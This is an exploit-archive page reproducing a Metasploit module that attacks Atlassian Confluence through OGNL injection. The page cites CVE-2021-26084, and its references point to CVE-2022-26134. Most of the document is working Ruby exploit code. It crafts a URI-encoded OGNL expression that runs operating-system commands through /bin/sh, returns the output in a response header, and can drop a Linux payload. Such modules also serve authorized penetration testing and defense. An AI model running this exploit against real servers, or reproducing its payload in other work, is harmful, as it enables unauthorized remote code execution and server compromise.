exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Atlassian Confluence Namespace OGNL Injection

Atlassian Confluence Namespace OGNL Injection
Posted Jun 8, 2022
Authored by unknown, Spencer McIntyre, jbaines-r7, bturner-r7 | Site metasploit.com

This Metasploit module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution.

tags | exploit
advisories | CVE-2021-26084
SHA-256 | 648d8ece02bf7d7dd92d3c2ff78f2d3824ad3f28474f3d288194a271823bc243

Atlassian Confluence Namespace OGNL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Namespace OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to
evaluate an OGNL expression resulting in OS command execution.
},
'Author' => [
'Unknown', # exploited in the wild
'bturner-r7',
'jbaines-r7',
'Spencer McIntyre'
],
'References' => [
['CVE', '2021-26084'],
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
['URL', 'https://github.com/jbaines-r7/through_the_wire'],
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
],
'DisclosureDate' => '2022-06-02',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
version = get_confluence_version
return CheckCode::Unknown unless version

vprint_status("Detected Confluence version: #{version}")
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
res = inject_ognl('', header: header) # empty command works for testing, the header will be set

return CheckCode::Unknown unless res

unless res && res.headers.include?(header)
return CheckCode::Safe('Failed to test OGNL injection.')
end

CheckCode::Vulnerable('Successfully tested OGNL injection.')
end

def get_confluence_version
return @confluence_version if @confluence_version

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.action')
)
return nil unless res&.code == 200

poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/

@confluence_version = Rex::Version.new(Regexp.last_match(1))
@confluence_version
end

def exploit
print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
res = inject_ognl(cmd, header: header)

unless res && res.headers.include?(header)
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end

vprint_good("Successfully executed command: #{cmd}")
res.headers[header]
end

def inject_ognl(cmd, header:)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),
'headers' => { header => cmd }
)
end

def ognl_payload(_cmd, header:)
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')
${
Class.forName("com.opensymphony.webwork.ServletActionContext")
.getMethod("getResponse",null)
.invoke(null,null)
.setHeader("#{header}",
Class.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("js")
.eval("java.lang.Runtime.getRuntime().exec([
#{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"},
com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')
]); '#{Faker::Internet.uuid}'")
)
}
OGNL
end
end
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close